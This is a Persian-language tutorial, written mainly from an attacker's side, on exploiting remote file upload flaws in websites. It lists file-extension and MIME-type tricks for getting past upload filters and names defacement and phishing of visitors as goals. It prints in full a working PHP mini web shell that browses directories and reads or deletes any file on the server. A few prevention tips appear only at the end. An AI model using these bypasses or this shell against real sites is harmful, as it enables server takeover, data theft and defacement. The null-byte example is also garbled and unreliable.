RFU مخفف remote file upload است و همانطور که از نام ان مشخص است هنگام اپلود فایل در سرور این
اسیب پذیری به وجود می اید که باعث می شود نفوذگر فایل های خود را در سرور اپلود کند و به اهداف خود برسد به صورت کلی این اسیب پذیری بسیار خطر ناک است و موجب می شود هکر از وب سایت دسترسی کامل
بگیرد اما حالت های دیگری هم وجود دارد که خطر اسیب پذیری کم می شود که با ان ها اشنا خواهید شد.
اگر یک اپلودر سایت به باگ RFU اسیب پذیر باشد میتوانید فایل خود را اپلود کنید برای مثال اگر سایت مورد نظر شما از php پشتیبانی می کند میتوانید یک شل اسکریپت با زبان php در ان اپلود کنید که در این صورت دسترسی کامل خواهید گرفت
امازمانی دیگر ممکن است فایل هایی مانند txt , html , js که فقط سمت کلاینت اجرا میشوند فقط بتوانید اپلود کنید که در این صورت هیچ دسترسی نخواهید داشت و فقط میتوانید یک صفحه دیفیس برای ثبت سایت ایجاد کنید یا نهایتا اطلاعات کاربرانی که به ان صفحه می ایند را با روش های فیشینگ استخراج کنید.
آسیب پذیری TimThumb که تعداد بسیار زیادی از پلاگین ها و مضامین را تحت تأثیر قرار داده است.
یک آسیب پذیری آپلود فایل از راه دور است. در مورد TimThumb کتابخانه تصویر راهی را در اختیار توسعه دهندگان قرار داد تا بتوانند URL تصویر را در رشته پرس و جو مشخص کنند تا TimThumb.php سپس آن تصویر را از وب واکشی کند.
محدودیت ها و روش هایی که عمدتا در جهت جلوگیری از آپلود فایل غیر مجاز استفاده می شوند عبارتند از:
1-black list:
در این روش پسوند های غیر مجازی مشخص می شوند(php, asp, aspx) که با روش های زیر می توان ان ها را بایپس کرد:
استفاده از پسوند هایی که رایج نیستند:php5”, “.pht”, “.phtml”, “.shtml”, “.asa”, “.cer”, “.asax”
فایل هایی با دو پسوند: file.php.jpg
حروف بزرگ: shell.PhP
استفاده از ( ; ) : shell.php;.jpg
با استفاده از / پسوند را بایپس کنیم:
/file.jpg/index.php
بایپس با . و اسپیس:
file.asp … … . . .. ..
استفاده از اسلش و بک اسلش:
test.php/ or test.php.\
فایروال پسوند .php را فیلتر میکند پس اینجوری ان را بایپس می کنیم:
file.p.phphp
و فایل ما در سرور به صورت file.php خوانده می شود
2- white list
در این روش برخلاف روش قبل سرور بررسی میکند که پسوند فایل یکی از پسوند های مجاز باشد
بطور مثال در قسمت آپلود عکس برای پروفایل کاربری سرور یکی از extension های زیر را قبول میکند
Jpg, png, gif, jpeg, ...
این روش را هم می توان با دو پسوند و semicolon و Null byte و برخی روش های بالا بایپس کرد:
semicolon: shell.php;.jpg
Double extension: shell.php.png
Null byte: shell.php .png
3-mime type:
برای مثال اگر mime type برای php باشد اجازه ی اپلود نداریم که می توان این روش را هم بایپس کرد.
درخواست را اسنیف می کنیم و میم تایپ php را به image/jpeg تغییر می دهیم.
.html=> text/html
.xml=> text/xml
.txt=> text/plain
.rtf=> application/rtf
.pdf=> application/pdf
.word=> application/msword
.png=> image/png
.gif=> image/gif
.jpeg,.jpg=> image/jpeg
.au=> audio/basic
mid,.midi=> audio/midi,audio/x-midi
.ra, .ram=> audio/x-pn-realaudio
.mpg,.mpeg=> video/mpeg
.avi=> video/x-msvideo
.gz=> application/x-gzip
.tar=> application/x-tar
.php=> application/octet-stream
4.content lenth Validation
حجم فایل آپلودی محدود میشود و در صورتی که بالاتر از حجم مورد نظر بطور مثال ۱۰۰ کیلوبایت باشد آپلود صورت نمیگیرد برای بایپس هم می توان از شل های کم حجم تر استفاده کرد
( $uploaded_size < 10000 )
mini shell:
<?php
$root = __DIR__;
$style1='color:#000;';
$style2='color:#00a;font-weight:bold;';
function updir($ADir){
$ADir = substr($ADir, 0, strlen($ADir)-1);
$ADir = substr($ADir, 0, strrpos($ADir, '/'));
return $ADir;
}
if (isset($_GET['file'])) {
if (isset($_GET['del'])){
unlink($_GET['file']);
die;
}
if (is_file($_GET['file'])) {
header("Content-type: text/plain");
readfile($_GET['file']);
return;
}
$path = $_GET['file'].'/';
} else $path = $root.'/';
echo($root.'<br>');
echo($path.'<hr>');
echo '<a href="?file='.updir($path).'">..</a><br />';
$p = $path.'*';
foreach (glob($p) as $file) {
echo '<span style="font-size:11px;color:#777;">'.substr(sprintf('%o',fileperms($file)),-4).'</span> <a style="'.(is_file($file)?$style1:$style2).'" href="?file='.$file.'">'.basename($file).'</a> - <span style="font-size:11px;color:#777;">'.filesize($file).' - '.date("F d Y H:i:s", filemtime($file)).'</span><br />';
}
echo('<hr>');
5-Using a File Type Detector:
فایروال بجز پسوند چند خط از فایل را هم بررسی میکند که می توان با کامنت کردن یا encode کردن بایپس کرد
جلوگیری از این نوع آسیب پذیری مشابه جلوگیری از آسیب پذیری lfi است :
پوشه فایل های آپلود شده را محدود کنید
از افزونه های غیرضروری استفاده نکنید
محدودیت ها را با کدگذاری اعمال کنید
از فایروال برای جلوگیری از آپلود استفاده کنید
برای آپلود فایل ها از یک سرور جداگانه استفاده کنید